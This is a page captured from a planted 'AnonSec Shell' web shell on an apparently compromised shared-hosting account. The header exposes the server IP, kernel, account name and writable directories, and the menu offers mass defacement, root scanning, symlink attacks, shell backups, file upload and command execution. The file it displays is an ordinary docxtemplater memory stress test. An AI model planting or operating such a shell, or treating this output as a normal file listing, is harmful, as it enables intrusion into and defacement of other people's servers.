AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 52.15.200.26   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/needapair.com/node_modules/docxtemplater/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/needapair.com/node_modules/docxtemplater/js//memory-test.js
"use strict";

var PizZip = require("pizzip");
var Docxtemplater = require("./docxtemplater.js");
var fs = require("fs");
var zip = new PizZip(fs.readFileSync("examples/memory-stress.docx"));
var doc = new Docxtemplater(zip, {
  paragraphLoop: true
});
var a = [];
for (var i = 0, len = 500; i < len; i++) {
  var b = [];
  for (var j = 0, len2 = 500; j < len2; j++) {
    b.push({
      title: i + j,
      c: [{
        content: "Hi"
      }, {
        content: "Ho"
      }]
    });
  }
  a.push({
    b: b
  });
}
doc.render({
  a: a
});
var buf = doc.getZip().generate({
  type: "nodebuffer"
});
var minSize = 500;
if (buf.length < minSize * 1000 * 1000) {
  throw new Error("The output document should be at least ${minSize} MB");
}
// eslint-disable-next-line no-console
console.log("memory-test buffer length : ", buf.length);

Anon7 - 2022
AnonSec Team